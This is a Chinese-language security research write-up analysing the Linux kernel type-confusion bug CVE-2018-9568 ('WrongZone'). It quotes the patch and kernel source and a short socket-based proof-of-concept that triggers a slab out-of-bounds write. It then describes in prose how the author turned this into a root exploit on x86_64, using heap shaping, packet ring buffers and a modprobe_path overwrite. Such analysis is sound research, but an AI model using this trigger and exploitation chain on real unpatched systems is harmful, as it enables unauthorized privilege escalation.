一、前言
CVE-2018-9568是一个Linux内核中的类型混淆漏洞,Zer0Con2019有研究人员分享了利用该漏洞root Android的思路,并给漏洞命名为WrongZone。这是一个影响范围较广的漏洞,本文记录了学习分析该漏洞及在 x86_64 Linux 完成利用的过程。
二、漏洞分析
2.1 补丁
该漏洞的补丁链接:commit 9d538fa60bad4f7b23193c89e843797a1cf71ef3
diff --git a/net/core/sock.c b/net/core/sock.c
index 9b7b6bbb2a23e7..7d55c05f449d30 100644
--- a/net/core/sock.c
+++ b/net/core/sock.c
@@ -1654,6 +1654,8 @@ struct sock *sk_clone_lock(const struct sock *sk, const gfp_t priority)
sock_copy(newsk, sk);
+ newsk->sk_prot_creator = sk->sk_prot;
+
/* SANITY */
if (likely(newsk->sk_net_refcnt))
get_net(sock_net(newsk));
补丁代码很简单,只有一行赋值代码,因此sk_prot和sk_prot_creator是该漏洞的关键。
sk_prot与sk_prot_creator
它们都是struct sock结构体的成员:
struct sock {
/**/
struct sock_common __sk_common;
/**/
#define sk_prot __sk_common.skc_prot
/**/
struct proto *sk_prot_creator;
};
struct sock_common {
/**/
struct proto *skc_prot;
/**/
};
sk_prot_creator和sk_prot(即skc_prot)在源码中的定义如下:
@sk_prot_creator: sk_prot of original sock creator (see ipv6_setsockopt, IPV6_ADDRFORM for instance)
@skc_prot: protocol handlers inside a network family
在用户态调用int socket(int domain, int type, int protocol);
创建socket时,第一个参数domain引导内核进入不同的xx_create()
函数中,通过统一的接口sk_alloc()为struct sock申请内存空间。不同的domain对应不同的prot,不同的prot对应不同大小的struct sock。
/*
sys_socket(family, type, protocol);
sock_create(family, type, protocol, &sock);
__sock_create(current->nsproxy->net_ns, family, type, protocol, res, 0);
err = pf->create(net, sock, protocol, kern); // 如inet_create(),inet6_create()
inet_create(struct net *net, struct socket *sock, int protocol, int kern)
sk = sk_alloc(net, PF_INET, GFP_KERNEL, answer_prot); // 申请struct sock
*/
struct sock *sk_alloc(struct net *net, int family, gfp_t priority,
struct proto *prot)
{
struct sock *sk;
sk = sk_prot_alloc(prot, priority | __GFP_ZERO, family);
if (sk) {
sk->sk_family = family;
sk->sk_prot = sk->sk_prot_creator = prot; // 指向同一个prot
sock_lock_init(sk);
sock_net_set(sk, get_net(net));
atomic_set(&sk->sk_wmem_alloc, 1);
sock_update_classid(sk);
sock_update_netprioidx(sk);
}
return sk;
}
如:AF_INET对应tcp_prot,AF_INET6对应tcpv6_prot,它们对应的struct sock大小不同,且属于不同的slab。
struct proto tcp_prot = {
.name = "TCP",
/**/
.obj_size = sizeof(struct tcp_sock),
/**/
};
struct proto tcpv6_prot = {
.name = "TCPv6",
/**/
.obj_size = sizeof(struct tcp6_sock),
/**/
};
proto_register(&tcp_prot, 1);
proto_register(&tcpv6_prot, 1);
int proto_register(struct proto *prot, int alloc_slab)
{
if (alloc_slab) {
prot->slab = kmem_cache_create(prot->name, prot->obj_size, 0,
SLAB_HWCACHE_ALIGN | prot->slab_flags,
NULL); // 创建一个新的slab
/**/
}
/**/
}
在/proc/slabinfo中可以看到以上这两个slab的信息,该系统上TCP slab中每个object的大小是0x7c0,TCPv6 slab中每个object的大小是0x880:
当释放struct sock时,需要将其释放到正确的slab中,所以sk_alloc()中把prot赋值给sk->sk_prot和sk->sk_prot_creator。
struct sock *sk_alloc(struct net *net, int family, gfp_t priority,
struct proto *prot)
{
/**/
sk->sk_prot = sk->sk_prot_creator = prot;
/**/
}
二者在什么情况下不同
setsockopt()的IPV6_ADDRFORM特性可以把一个socket从AF_INET6转成AF_INET类型, 在代码中的表现就是把sk->sk_prot从tcpv6_prot改成tcp_prot。
/* 调用路径:
sys_setsockopt()
sock->ops->setsockopt() - inet6_stream_ops->setsockopt
sock_common_setsockopt()
sk->sk_prot->setsockopt() - tcpv6_prot->setsockopt
tcp_setsockopt()
icsk->icsk_af_ops->setsockopt() - ipv6_specific
ipv6_setsockopt()
do_ipv6_setsockopt()
*/
static int do_ipv6_setsockopt(struct sock *sk, int level, int optname,
char __user *optval, unsigned int optlen)
{
/**/
case IPV6_ADDRFORM:
/**/
if (sk->sk_protocol == IPPROTO_TCP) {
struct inet_connection_sock *icsk = inet_csk(sk);
/**/
sk->sk_prot = &tcp_prot;
/**/
sk->sk_family = PF_INET;
/**/
}
/**/
}
因为sk->sk_prot会被改变,所以需要sk->sk_prot_creator来记录当前sk所属的slab及大小。在关闭socket时,正是通过sk->sk_prot_creator确定该sk应该释放到哪个slab中。当sk->sk_prot_creator和sk不匹配时,sk_prot_free()的释放过程中会产生漏洞。
/*
sk_free()
__sk_free()
sk_destruct()
*/
static void __sk_destruct(struct rcu_head *head)
{
struct sock *sk = container_of(head, struct sock, sk_rcu);
/**/
sk_prot_free(sk->sk_prot_creator, sk);
}
2.2 PoC
对于如何构造一组不匹配的sk->sk_prot_creator和sk,漏洞发现者给出了PoC:
int fd = socket(AF_INET6, SOCK_STREAM, IPPROTO_TCP); // 创建一个ipv6的socket,监听端口42424
bind(fd, (struct sockaddr *)&bind_addr, sizeof(bind_addr));
listen(fd, 5);
client_fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); // 使用ipv4去连接该端口
connect(client_fd, (struct sockaddr *)&client_addr1, sizeof(client_addr1));
new_fd = accept(fd, NULL, NULL); // 连接建立后,服务端产生一个新的new_fd
setsockopt(new_fd, SOL_IPV6, IPV6_ADDRFORM, &val, sizeof(val)); // 使用setsockopt()+IPV6_ADDRFORM将socket属性从ipv6转为ipv4
connect(new_fd, &unsp, sizeof(unsp)); // connect AF_UNSPEC 后,原本的socket连接将断开,可重新建立新的连接
bind(new_fd, (struct sockaddr *)&bind_addr4, sizeof(bind_addr4));
listen(new_fd, 5); // 断开连接后,用new_fd监听一个新端口42421
client_fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); // 再次使用ipv4去连接该端口
connect(client_fd, (struct sockaddr *)&client_addr2, sizeof(client_addr2));
newest_fd = accept(new_fd, NULL, NULL); // 此时进入sk_clone_lock(),生成一个有问题的sk,导致后续关闭newest_fd时发生越界写
PoC代码执行时,会不断申请struct tcp6_sock
(object size为0x880,实际内容占用size为0x840)和struct tcp_sock
(object size为0x7c0,实际内容占用size为0x7a8),对应到TCPv6 slab和TCP slab中堆块的变化如下图所示:
两次accept()操作都会触发执行sk_clone_lock()函数,为什么第二次生成的sk有问题呢?
如下图所示:
第一次accept()时,进入sk_clone_lock()函数,通过fd生成new_fd。具体操作是,根据sk->sk_prot从TCPv6 slab中申请一个堆块,并完成sk_prot和sk_prot_creator的拷贝。
之后,通过setsockopt() + IPV6_ADDRFORM改变new_fd属性,也就是将new_fd的sk->sk_prot改成了tcp_prot。
第二次accept()时,进入sk_clone_lock()函数,根据sk->sk_prot从TCP slab中申请一个堆块,并完成sk_prot和sk_prot_creator的拷贝。此时,newest_fd的sk和sk->sk_prot_creator不匹配,那么close(newest_fd)在释放sk的过程中就会触发漏洞。
close(newest_fd)中触发漏洞造成越界写的过程:
/*
tcp_close() -> sock_put() -> sk_free() -> __sk_free() -> sk_destruct() \
-> __sk_destruct() -> sk_prot_free(sk->sk_prot_creator, sk);
*/
static void sk_prot_free(struct proto *prot, struct sock *sk)
{
struct kmem_cache *slab;
/**/
slab = prot->slab;
/**/
if (slab != NULL)
kmem_cache_free(slab, sk); // 进入slab free逻辑
/**/
}
/*
kmem_cache_free() -> slab_free() -> __slab_free() \
-> set_freepointer(s, tail, prior);
s -> slab
tail -> sk
prior -> virt_to_head_page(sk)->freelist
*/
static inline void set_freepointer(struct kmem_cache *s, void *object, void *fp)
{
*(void **)(object + s->offset) = fp;
}
此时在set_freepointer()函数中,该object(TCP slab中)的size是0x7c0,s->offset(TCPv6 slab中)的值是0x840,于是发生越界写。
三、漏洞利用
3.1 基本信息
公开利用情况:
- 利用思路
- Zer0Con2019 - Building-universal-Android-rooting-with-a-type-confusion-vulnerability
- 百度安全实验室 - KARMA带你看攻防:WrongZone从利用到修复
- c0reteam - CVE-2018-9568 WrongZone利用
- 利用代码
- Android提权(防护措施仅开启PXN,未开启PAN/KASLR) - exploit/CVE-2018-9568_WrongZone
我的测试环境:
- x86_64 Linux虚拟机
- 开启的防护措施:KASLR,SMEP,SMAP,SELinux
整体利用思路参考了以上三篇文章,不同点在占用UAF堆块所用的方法上。所以重点分享两个方面:
- 如何构造UAF堆块
- 如何占用UAF堆块
3.2 构造UAF堆块
执行PoC,在close(newest_fd)
前后,查看TCP slab的状态。发现错误释放的堆块及其后续堆块,都被放入了slow path的freelist。
用图来表示是这样的:
- 正常情况下,newest_fd的sk->sk_prot_creator跟sk是匹配的,执行close(newest_fd)时,它占用的堆块被释放后,freelist正常更新。
- 漏洞场景下,newest_fd的sk->sk_prot_creator跟sk不匹配。导致越界写newest_fd占用的堆块,并将该堆块链入当前TCP slab的slowpath。
此时,如果申请大量socket,会先从fastpath申请堆块,再从slowpath申请堆块,于是newest_fd右侧的堆块被分配了两次,导致许多socket指向同一个sk object。
参考 百度安全实验室 文章中"利用方法2"的思路,通过调整slab的状态、socket申请和释放顺序,构造两个稳定的UAF sk。
(1)提前申请大量TCP sk,保证用于构造UAF sk的Evil TCP slab是刚从buddy allocator中新分配出来的。
(2)构造右图所示的sk结构,保证漏洞sk(wrongzone sk)后面有3个可操作的sk(follow_sk),且该slab中所有object被分配使用。
(3)释放follow_sk_2后,freelist会指向它,并将其next指针置空。
(4)释放漏洞sk(wrongzone sk),更新freelist指针并越界写入一个值。
此时,还在使用中的follow_sk_0和follow_sk_1被链入freelist中,即存在两个UAF sk。
3.3 占用UAF堆块
UAF sk在TCP slab中,该slab只有一种结构体(struct tcp_sock),无法使用内核UAF的传统利用方法,找其他相同大小的结构体堆块占用UAF堆块。
于是考虑释放掉整个Evil TCP slab(8个物理页面),使用其他slab/其他方式占用这些物理页,从而控制其中的两个UAF sk。
这里尝试了两种方法,最终使用方法2利用成功:
- 公开资料中使用的physmap spray
- USMA的alloc_pg_vec()
physmap spray
释放Evil TCP slab中所有object后,通过mmap()往物理页面喷数据。
结果:失败。
猜测原因:Evil TCP slab在释放后并未还给buddy allocator进行重新分配。
调试确认:调试发现Evil TCP slab的head page被挂载在kmem_cache_node的partial链表中,确实没有还给buddy allocator。
解决方案:通过更改exp中使用的lotsof_sk数量,以及释放lotsof_sk的顺序,可以成功将Evil TCP slab还给buddy allocator。
继续使用mmap()方式喷数据。
结果:失败。
猜测原因:已释放的Evil TCP slab被其他slab/内存操作给占用了。
调试确认:shmem_inode_cache slab占用了Evil TCP slab所在的物理页面。
猜测是mmap()方式不行,测试使用setxattr()(
kvalue = kvmalloc(size, GFP_KERNEL);
)能否占上Evil TCP slab结果:成功。
结论:Evil TCP slab已经成功释放给buddy allocator用于重新分配,但physmap spray时的大量mmap()操作导致Evil TCP slab所在页面被分配给shmem_inode_cache slab使用。因此需要寻找其他方式稳定占用Evil TCP slab,以便在用户态读写Evil TCP slab所在物理页面内容(两个UAF sk)。
USMA的alloc_pg_vec()
setxattr() 只能单向将数据写入堆块,后续无法读取/操作堆块内容,因此需要找其他占用后还能读写的堆块。
这里选择USMA:用户态映射攻击中涉及到的一个环形缓冲区,该缓冲区大小由用户态指定。使用mmap()可以把这块空间映射到用户态,从而读写该缓冲区。
static struct pgv *alloc_pg_vec(struct tpacket_req *req, int order)
{
/**/
pg_vec = kcalloc(block_nr, sizeof(struct pgv), GFP_KERNEL | __GFP_NOWARN);
/**/
for (i = 0; i < block_nr; i++) {
// 从buddy allocator申请block_nr个block_size(用户态指定)大小的块,order=block_size>>12
pg_vec[i].buffer = alloc_one_pg_vec_page(order);
if (unlikely(!pg_vec[i].buffer))
goto out_free_pgvec;
}
/**/
}
一次申请10个0x8000的块并mmap() —— 成功率大概75%
目标slab有时在最后面(第10个),有时在最前面(第1个),有时占用不到。
slab释放是通过rcu进行的,有一定延迟,所以释放的早占用的晚,或者释放的晚,占用的早,都会导致占用不成功。
static void free_slab(struct kmem_cache *s, struct page *page) { if (unlikely(s->flags & SLAB_DESTROY_BY_RCU)) { struct rcu_head *head; if (need_reserve_slab_rcu) { int order = compound_order(page); int offset = (PAGE_SIZE << order) - s->reserved; VM_BUG_ON(s->reserved != sizeof(*head)); head = page_address(page) + offset; } else { /* * RCU free overloads the RCU head over the LRU */ head = (void *)&page->lru; } call_rcu(head, rcu_free_slab); } else __free_slab(s, page); }
一次申请1个0x8000的块并mmap(),直到找到目标块 —— 成功率99%。
后面就是常规的利用,可以参考基本信息小节中提到的几篇文章,流程大致如下:
- 泄露内核地址绕KASLR
- 改进程addr_limit获得读写任意内核地址的权限
- 改modprobe_path
- 用户态触发提权
- 稳定exploit避免退出时系统崩溃
一张exp执行成功的图:
四、总结
CVE-2018-9568是一个类型混淆漏洞,从逻辑复杂的PoC代码中可以看出,这是一个不易被发现的漏洞。本文分析章节中,以struct sock中两个结构体指针sk_prot 和sk_prot_creator为切入点,分析了二者的创建点及更改点,然后对PoC构造类型混淆场景进而触发堆越界写的过程做了详细说明。利用章节记录了我在x86_64 Linux上适配利用代码的过程中,遇到的一些问题和解决办法,让我对slab和buddy allocator的申请释放过程有了更深入的理解。